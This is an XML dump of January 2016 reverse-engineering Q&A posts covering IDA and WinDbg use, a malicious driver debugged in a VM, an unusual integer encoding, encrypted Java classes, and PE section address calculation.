  <row Id="11741" PostTypeId="1" CreationDate="2016-01-11T05:31:37.220" Score="0" ViewCount="823" Body="&lt;p&gt;I have disassembled the exe in IDA 6.1 and I think I found a hand full of text files and was wondering how to go about dialing into the addresses and extracting the data. Here is what I found&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7FxfV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FxfV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to code a bit in C and .net and thought maybe it would be possible with guidance. Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="14669" LastActivityDate="2016-01-12T15:04:17.200" Title="Can I extract .txt files from .exe if I know their addresses?" Tags="|ida|c#|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11742" PostTypeId="2" ParentId="11741" CreationDate="2016-01-11T14:46:18.500" Score="2" Body="&lt;p&gt;It appears to me as if these are just file names, which may or may not refer to files embedded in the executable. Looking at the cross references and the surrounding API calls might tell you how they are being used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps using a utility like strings might help to discover if there is more embedded text.  If you think the files might be obfuscated you could try Didier Steven's xorsearch tool.&lt;/p&gt;&#xA;" OwnerUserId="14676" LastActivityDate="2016-01-11T14:46:18.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11743" PostTypeId="1" AcceptedAnswerId="11744" CreationDate="2016-01-11T15:25:02.670" Score="4" ViewCount="1290" Body="&lt;p&gt;I got a malicious kernel mode driver from VirusTotal. Now, I am trying to debug it using Windbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are the details of the setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Host OS: Win 7 Ultimate 64-bit, Windbg version 6.11.x, VMWare Workstation and Guest OS: Win XP SP3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed the kernel mode driver in Guest OS in the path: C:\drivers\test&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added .sys extension to the kernel mode driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windbg on Host OS, I attached to the guest OS through Named Pipe. Set the breakpoint to break at DriverEntry of the driver as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bu malicious_driver!DriverEntry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then press g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Guest OS, used OSR Driver Loader from osronline.com to load the driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browsed for the Driver, Registered the Service and started the Service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I break in Windbg however I receive the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; bu malicious_driver!DriverEntry&#xA;kd&amp;gt; g&#xA;*** ERROR: Module load completed but symbols could not be loaded for malicious_driver.sys&#xA;Breakpoint 0's offset expression evaluation failed.&#xA;Check for invalid symbols or bad syntax.&#xA;WaitForEvent failed&#xA;nt!DebugService2+0x11:&#xA;8052e4c5 5d              pop     ebp&#xA;kd&amp;gt; !drvobj malicious_driver&#xA;Driver object (b25eb000) is for:&#xA;b25eb000: is not a driver object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that I am able to successfully break at the DriverEntry of known legitimate Microsoft Windows OS drivers like ndis.sys, http.sys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how do I break at the entry point of malicious drivers as in this case? I don't have the symbols for them either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2016-01-11T16:51:06.163" Title="Unable to break at DriverEntry of malicious Driver" Tags="|windbg|kernel-mode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11744" PostTypeId="2" ParentId="11743" CreationDate="2016-01-11T16:51:06.163" Score="7" Body="&lt;p&gt;Try &quot;break on module load&quot; (e.g. &lt;code&gt;sxe ld malicious_driver.sys&lt;/code&gt;). When it's hit, you can check the driver's load address and set  breakpoint by address.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-01-11T16:51:06.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11745" PostTypeId="1" CreationDate="2016-01-12T10:07:07.583" Score="4" ViewCount="477" Body="&lt;p&gt;I have a piece of binary data I'm trying to investigate. My guess is that it should be part of simple filesystem-like index. There are 2 parts in the file. First part has a very simple format:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;number of bytes for the first part&lt;/li&gt;&#xA;&lt;li&gt;lots of zero-terminated strings that look like file names (1256 of them)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Naturally, I expect to find increasing pointers to some files named with these strings later. However, the rest of the file is 0x5c47 bytes long and it looks like it has a number of records (int32, little endian = 0x4e0), then a sequence of records itselves. However, the trick is that obviously record length is not constant: (0x5c47 - 4) / 0x4e0 ~ 18.9254807. I see a certain pattern here, let me demonstrate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E0 04 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I said, it starts with number of records, 0x4e0 = 1248. Note that 1248 records is fairly close to number of strings I've found earlier (1256), but not exactly matching. Then I see some 14-byte long records:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;90 00   |90 0D|90 16 02 90 22 90 2A 90 39|00&#xA;90 46   |90 0D|90 16 02 90 22 90 2A 90 39|01&#xA;90 53   |90 0D|90 16 02 90 22 90 2A 90 39|02&#xA;90 61   |90 0D|90 16 02 90 22 90 2A 90 39|03&#xA;90 6E   |90 0D|90 16 02 90 22 90 2A 90 39|04&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last byte seems to be record number counter. As for others, so far, only 2nd byte changes. However, next we see some 15-byte long records:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;91 82 00|90 0D|90 16 02 90 22 90 2A 90 39|05&#xA;91 97 00|90 0D|90 16 02 90 22 90 2A 90 39|06&#xA;91 A4 00|90 0D|90 16 02 90 22 90 2A 90 39|07&#xA;...&#xA;91 14 01|90 0D|90 16 02 90 22 90 2A 90 39|0E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that there are some variable length integers involved, i.e. first value of a record starts with &lt;code&gt;90 00&lt;/code&gt;, &lt;code&gt;90 46&lt;/code&gt;, then it eventually overflows and becomes &lt;code&gt;91 82 00&lt;/code&gt;, &lt;code&gt;91 97 00&lt;/code&gt;, ... &lt;code&gt;91 26 01&lt;/code&gt;, etc. However, it's not the normal (BER, AKA VLQ, AKA Base128, etc) encoding for variable length integers I've used to. Let's check how contents of the record would expand once it will become 16-byte long record:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;91 26 01|90 0D|90 16 02 90 22 90 2A 90 39|0F&#xA;91 39 01|90 0D|90 16 02 90 22 90 2A 90 39|80 10&#xA;91 4E 01|90 0D|90 16 02 90 22 90 2A 90 39|80 11&#xA;91 6C 01|90 0D|90 16 02 90 22 90 2A 90 39|80 12&#xA;91 8B 01|90 0D|90 16 02 90 22 90 2A 90 39|80 13&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whoa, it was just &lt;code&gt;05&lt;/code&gt;, &lt;code&gt;06&lt;/code&gt;, &lt;code&gt;07&lt;/code&gt;, ... &lt;code&gt;0E&lt;/code&gt;, &lt;code&gt;0F&lt;/code&gt; (which presumably encoded record #0..15), then it jumped to &lt;code&gt;80 10&lt;/code&gt; to designate record #16. First field seems to continue being 3-byte integer. Next switch to 17-byte long recods looks like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;91 7C 08|90 0D|90 16 02 90 22 90 2A 90 39|80 7D&#xA;91 8A 08|90 0D|90 16 02 90 22 90 2A 90 39|80 7E&#xA;91 98 08|90 0D|90 16 02 90 22 90 2A 90 39|81 7F 00&#xA;91 A6 08|90 0D|90 16 02 90 22 90 2A 90 39|81 80 00&#xA;91 B4 08|90 0D|90 16 02 90 22 90 2A 90 39|81 81 00&#xA;91 C2 08|90 0D|90 16 02 90 22 90 2A 90 39|81 82 00&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are some vague resemblance with the trick that we've seen earlier with &lt;code&gt;90&lt;/code&gt; becoming &lt;code&gt;91&lt;/code&gt;: here &lt;code&gt;80&lt;/code&gt; becomes &lt;code&gt;81&lt;/code&gt; presumably to designate switch from #126 = 0x7e (encoded as &lt;code&gt;80 7E&lt;/code&gt;) to #127 = 0x7f (encoded as &lt;code&gt;81 7F 00&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further in the file there seems to be a major format switch for 18-byte long record which I guess lines up somewhat like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;91 5D 14|90 0D   |90 16   |02|90 22|90 2A   |90 39|81 5C 01&#xA;91 6A 14|90 0D   |90 16   |02|90 22|90 2A   |90 39|81 5D 01&#xA;91 77 14|91 86 14|91 8F 14|02|90 22|91 9B 14|90 39|00&#xA;91 AA 14|91 86 14|91 8F 14|02|90 22|91 9B 14|90 39|01&#xA;91 B5 14|91 86 14|91 8F 14|02|90 22|91 9B 14|90 39|02&#xA;91 C0 14|91 86 14|91 8F 14|02|90 22|91 9B 14|90 39|03&#xA;91 CB 14|91 86 14|91 8F 14|02|90 22|91 9B 14|90 39|04&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This change expands many of the fields (and actually makes it somewhat cleared what the fields boundaries are) and resets last field back to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some vague resemblance with the trick that we've seen earlier with &lt;code&gt;90&lt;/code&gt; becoming &lt;code&gt;91&lt;/code&gt;: here &lt;code&gt;80&lt;/code&gt; becomes &lt;code&gt;81&lt;/code&gt; presumably to designate switch from #126 = 0x7e (encoded as &lt;code&gt;80 7E&lt;/code&gt;) to #127 = 0x7f (encoded as &lt;code&gt;81 7F 00&lt;/code&gt;). Records at the end of the file are 20 bytes long and look like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;91 32 34|91 86 14|91 8F 14|02|90 22|91 9B 14|90 39|81 7F 03&#xA;91 3B 34|91 86 14|91 8F 14|02|90 22|91 9B 14|90 39|81 80 03&#xA;91 44 34|91 86 14|91 8F 14|02|90 22|91 9B 14|90 39|81 81 03&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My best bet here is that many intermediate values have increased and &lt;code&gt;90 xx&lt;/code&gt; became &lt;code&gt;91 xx yy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize what I've learned so far, it looks like these records use variable-length encoded integers, encoding scheme is something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x0 = &lt;code&gt;00&lt;/code&gt; = &lt;code&gt;0000_0000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;0x1 = &lt;code&gt;01&lt;/code&gt; = &lt;code&gt;0000_0001&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;0xf = &lt;code&gt;0F&lt;/code&gt; = &lt;code&gt;0000_1111&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;0x10 = &lt;code&gt;80 10&lt;/code&gt; = &lt;code&gt;1000_0000|0001_0000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;0x11 = &lt;code&gt;80 11&lt;/code&gt; = &lt;code&gt;1000_0000|0001_0001&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;0x7e = &lt;code&gt;80 7E&lt;/code&gt; = &lt;code&gt;1000_0000|0111_1110&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;0x7f = &lt;code&gt;81 7F 00&lt;/code&gt; = &lt;code&gt;1000_0001|0111_1111|0000_0000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;0x80 = &lt;code&gt;81 80 00&lt;/code&gt; = &lt;code&gt;1000_0001|1000_0000|0000_0000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;0x15d = &lt;code&gt;81 5D 01&lt;/code&gt; = &lt;code&gt;1000_0001|0101_1101|0000_0001&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any standard format / encoding scheme that looks like that? Any ideas on how to properly decode &lt;code&gt;90 xx&lt;/code&gt; and &lt;code&gt;91 xx yy&lt;/code&gt; values?&lt;/p&gt;&#xA;" OwnerUserId="8289" LastActivityDate="2016-01-14T21:02:27.063" Title="Challenging variable-length integer encoding" Tags="|binary-analysis|file-format|binary-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11746" PostTypeId="1" AcceptedAnswerId="11747" CreationDate="2016-01-12T11:35:21.080" Score="3" ViewCount="2954" Body="&lt;p&gt;I have a couple of classes that are encrypted. The class loader must decrypt these before executing in the JVM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how and where?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to understand who is responsible to decrypt these classes before deploy?&lt;/p&gt;&#xA;" OwnerUserId="3214" LastEditorUserId="53" LastEditDate="2016-01-12T19:15:23.453" LastActivityDate="2022-08-31T06:08:18.913" Title="Java - Decipher encrypted classes in a jar file" Tags="|encryption|java|byte-code|jar|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11747" PostTypeId="2" ParentId="11746" CreationDate="2016-01-12T11:58:50.800" Score="3" Body="&lt;p&gt;Find which of the visible classes implement &lt;code&gt;java.lang.ClassLoader&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can look at its &lt;code&gt;findClass&lt;/code&gt; and &lt;code&gt;findResource&lt;/code&gt; implementation.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastActivityDate="2016-01-12T11:58:50.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11748" PostTypeId="2" ParentId="11741" CreationDate="2016-01-12T15:04:17.200" Score="1" Body="&lt;p&gt;Have you tried using IDAPython? Recently Palo Alto's special team, Unit42, started a series of articles about using it to help in binary analysis. It doesn't cover exactly what you're looking for, but it might give you some ideas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://researchcenter.paloaltonetworks.com/2015/12/using-idapython-to-make-your-life-easier-part-1/&quot; rel=&quot;nofollow&quot;&gt;Using IDAPython to Make Your Life Easier: Part 1&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://researchcenter.paloaltonetworks.com/2015/12/using-idapython-to-make-your-life-easier-part-2/&quot; rel=&quot;nofollow&quot;&gt;Using IDAPython to Make Your Life Easier: Part 2&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://researchcenter.paloaltonetworks.com/2016/01/using-idapython-to-make-your-life-easier-part-3/&quot; rel=&quot;nofollow&quot;&gt;Using IDAPython to Make Your Life Easier: Part 3&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://researchcenter.paloaltonetworks.com/2016/01/using-idapython-to-make-your-life-easier-part-4/&quot; rel=&quot;nofollow&quot;&gt;Using IDAPython to Make Your Life Easier: Part 4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9877" LastActivityDate="2016-01-12T15:04:17.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11751" PostTypeId="1" CreationDate="2016-01-13T05:18:59.157" Score="0" ViewCount="89" Body="&lt;p&gt;I have been looking through a video games executable trying to find the values or variables in order to make a dev tool for real time editing. I have tried to trace the references back to maybe .float but nothing but references. I would love to assume that the byte in question is the possible toggle im looking for.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rkICd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkICd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the address takes 3 rows 2 for the xref and 1 for the .byte 0&#xA;I am hoping maybe possibly it could be as simple as making a button that switches the .byte 0 into .byte 1 activating god mode and other features.&#xA;Tried xref to and two and no xrefs from godmode.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yyvmh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yyvmh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;using IDA 6.1, PPC binary&lt;/p&gt;&#xA;" OwnerUserId="14669" LastEditorUserId="14669" LastEditDate="2016-01-13T08:22:45.260" LastActivityDate="2016-01-13T08:22:45.260" Title="Trying to locate activator for function" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11752" PostTypeId="1" AcceptedAnswerId="11754" CreationDate="2016-01-13T05:50:10.070" Score="1" ViewCount="1103" Body="&lt;p&gt;An APK I'm working on uses some sort of algorithm to generate a hash which is sent along with an HTTP request. I want to figure out how the algorithm works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompiling the APK to Java is of no help at all because it is much too obfuscated and there is clearly a ton of jumping around to separate files, it's impossible to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analysing the SMALI is much more helpful, but still very difficult to follow due to the use of many different files, and also the generic/meaningless function names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have IDA Pro but I don't have the Hex rays decompiler. There is also an extremely small amount of tutorials on using IDA Pro with Android. Is IDA Pro useless here? Smali is definitely easier to understand than the raw machine code instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options for analysing and figuring out this algorithm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your suggestions&lt;/p&gt;&#xA;" OwnerUserId="14661" LastActivityDate="2016-02-12T09:15:45.727" Title="Android - Analyzing complex hash algorithm" Tags="|ida|android|decompile|apk|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="11753" PostTypeId="2" ParentId="11751" CreationDate="2016-01-13T08:01:52.317" Score="1" Body="&lt;p&gt;The marked .byte 0 values are the string terminating zeros, so if you want to find the switch values, you have to check the code used by these strings. Thus, follow the references back and you may see something like similar to the following pseudo code in assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;flag = aDisabled_&#xA;if (god_mode == 1)&#xA;   flag = aEnabled_&#xA;sprintf(godStr, aGodModeS, flag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally you have to found the address of &quot;god_mode&quot; variable. Of course, it may be read out in a more complex way, for example by calling a getter function of a configuration class.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-01-13T08:01:52.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11754" PostTypeId="2" ParentId="11752" CreationDate="2016-01-13T08:36:02.713" Score="1" Body="&lt;p&gt;IDA PRO is useful for analyzing native code. Hex-Rays decompiler decompiles ARM and x86/x64, not java. For your specific case IDA pro would be useful if this hashing algorithm would be compiled in native code and called with JNI like interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your specific case IDA is almost useless because almost all of its advantages related to native code analysis. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-01-13T08:36:02.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11755" PostTypeId="1" AcceptedAnswerId="11756" CreationDate="2016-01-13T11:34:49.107" Score="1" ViewCount="118" Body="&lt;p&gt;If you have an execution trace of a program, and know it uses say AES for encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you isolate the instructions for encryption with that knowledge alone?&lt;/p&gt;&#xA;" OwnerUserId="14518" LastActivityDate="2016-01-13T12:04:42.683" Title="Isolating encrypt/decrypt instructions in an execution trace" Tags="|encryption|tracing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11756" PostTypeId="2" ParentId="11755" CreationDate="2016-01-13T12:04:42.683" Score="3" Body="&lt;p&gt;Generally speaking, it depends on the platform. For example, if the software uses &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow&quot;&gt;Intel AES extensions&lt;/a&gt; it is possible to find the corresponding instructions in the disassembly. If the software is compiled for other platforms and uses specific hardware accelerators it is possible to find it by accesses to specific addresses of the accelerators registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no specific accelerator or specific instruction set it is possible to find &lt;a href=&quot;https://en.wikipedia.org/wiki/Rijndael_S-box&quot; rel=&quot;nofollow&quot;&gt;S-BOX&lt;/a&gt; constants and check which instructions are accessing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some plugins for IDA that able to do this work for you, for example&#xA;&lt;a href=&quot;https://www.aldeid.com/wiki/IDA-Pro/plugins/FindCrypt2&quot; rel=&quot;nofollow&quot;&gt;FindCrypt2&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition there is a presentation from &lt;a href=&quot;http://recon.cx&quot; rel=&quot;nofollow&quot;&gt;recon&lt;/a&gt; conference about locating such an algorithms in obfuscated code &lt;a href=&quot;https://recon.cx/2012/schedule/attachments/46_Joan_CryptographicFunctionIdentification.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-01-13T12:04:42.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11757" PostTypeId="2" ParentId="10997" CreationDate="2016-01-13T22:34:02.787" Score="1" Body="&lt;p&gt;As complementary answer, BIOS used to be written in assembler (now is mostly ANSI C code) which compiles to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Machine code for old architectures (in the past, like PC IBM; which was actually written in assembler according to &lt;a href=&quot;https://sites.google.com/site/pcdosretro/ibmpcbios&quot; rel=&quot;nofollow&quot;&gt;https://sites.google.com/site/pcdosretro/ibmpcbios&lt;/a&gt; and an old book from Gottfried in Assembler for PC IBM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) UEFI bytecode for EFI currently (BIOS replacement).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As evidence, have a look at &lt;a href=&quot;https://en.wikipedia.org/wiki/Coreboot&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Coreboot&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://review.coreboot.org/gitweb?p=coreboot.git;a=tree&quot; rel=&quot;nofollow&quot;&gt;http://review.coreboot.org/gitweb?p=coreboot.git;a=tree&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Notice there are several other open source efforts on BIOS/EFI replacements).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UEFI Is an spec of a framework with several several layers, exposing among other things services, a shell console and an interpreter layer (for EFI byte code), the idea of abstracting &quot;BIOS&quot; away from machine code was to facilitate portability to other non x86 architectures (Itanium, ARM, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a good conceptual introduction on UEFI &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0974364908&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Beyond-Bios-Implementing-Extensible-Interface/dp/0974364908/ref=sr_1_2?ie=UTF8&amp;amp;qid=1452724127&amp;amp;sr=8-2&amp;amp;keywords=efi+bios&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. In one company I used to work, I actually had access to the BIOS/EFI code base.&lt;/p&gt;&#xA;" OwnerUserId="11551" LastEditorUserId="11551" LastEditDate="2016-01-13T22:41:18.267" LastActivityDate="2016-01-13T22:41:18.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11758" PostTypeId="1" AcceptedAnswerId="11759" CreationDate="2016-01-14T04:55:52.057" Score="1" ViewCount="1119" Body="&lt;p&gt;I want to clone ollydbg's functionalities in vb6, so I could write my own tools easier then using it's scripting engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started of with trying to map the memory map's addresses exactly the same way ollydbg does it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AjHpH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AjHpH.png&quot; alt=&quot;ollyview&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PE header is at 0x00400000 with Size 0x1000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the 0x00400000 is retrieved like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dim AddressOfPE As Long = NTHEADER.OptionalHeader.ImageBase&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to map the addresses for all the other stuff most importantly &lt;code&gt;.text&lt;/code&gt; &lt;code&gt;.rdata&lt;/code&gt; but I wouldn't mind having them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I tried is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;For u = 0 To UBound(SECTIONSHEADER)&#xA;    AddressStart = AddressOfPE + SECTIONSHEADER(u).VirtualAddress&#xA;    Debug.Print &quot;(&quot; &amp;amp; u &amp;amp; &quot;) &quot; &amp;amp; SECTIONSHEADER(u).nameSec &amp;amp; _&#xA;    &quot; AddressStart = &quot; &amp;amp; Hex(AddressStart) &amp;amp; _&#xA;    &quot; VirtualAddress = &quot; &amp;amp; Hex(SECTIONSHEADER(u).VirtualAddress) &amp;amp; _&#xA;    &quot; VirtualSize = &quot; &amp;amp; Hex(SECTIONSHEADER(u).VirtualSize) &amp;amp; _&#xA;    &quot; SizeOfRawData = &quot; &amp;amp; Hex(SECTIONSHEADER(u).SizeOfRawData)&#xA;    'Hunt for strings&#xA;    If SECTIONSHEADER(u).nameSec = &quot;.rdata&quot; Or SECTIONSHEADER(u).nameSec = &quot;.data&quot; Then&#xA;        MsgBox &quot;a&quot;&#xA;    End If&#xA;    AddressEnd = AddressStart + SECTIONSHEADER(u).SizeOfRawData&#xA;    Debug.Print &quot;(&quot; &amp;amp; u &amp;amp; &quot;) &quot; &amp;amp; SECTIONSHEADER(u).nameSec &amp;amp; _&#xA;    &quot; AddressEnd(?) = &quot; &amp;amp; Hex(AddressEnd) &amp;amp; _&#xA;    &quot; OllyAddressEnd(?) = &quot; &amp;amp; Hex(SECTIONSHEADER(u).SizeOfRawData)&#xA;Next u&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Debug log looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0) .text  AddressStart = 401000 VirtualAddress = 1000 VirtualSize = 1FAB3AD SizeOfRawData = 1FAB400&#xA;(0) .text  AddressEnd(?) = 23AC400 OllyAddressEnd(?) = 1FAB400&#xA;(1) .rdata AddressStart = 23AD000 VirtualAddress = 1FAD000 VirtualSize = 855586 SizeOfRawData = 855600&#xA;(1) .rdata AddressEnd(?) = 2C02600 OllyAddressEnd(?) = 855600&#xA;(2) .data  AddressStart = 2C03000 VirtualAddress = 2803000 VirtualSize = 2D045C4 SizeOfRawData = 1DF000&#xA;(2) .data  AddressEnd(?) = 2DE2000 OllyAddressEnd(?) = 1DF000&#xA;(3) .rsrc  AddressStart = 5908000 VirtualAddress = 5508000 VirtualSize = 105CC SizeOfRawData = 10600&#xA;(3) .rsrc  AddressEnd(?) = 5918600 OllyAddressEnd(?) = 10600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at this image seems I got it all right? but the size addresses are off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tb1dM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tb1dM.jpg&quot; alt=&quot;pe101 image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2016-01-15T02:31:15.807" LastActivityDate="2016-01-15T02:31:15.807" Title="How do you calculate Address Start / Size of PE Section like .rdata / .data" Tags="|ollydbg|pe|vb6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
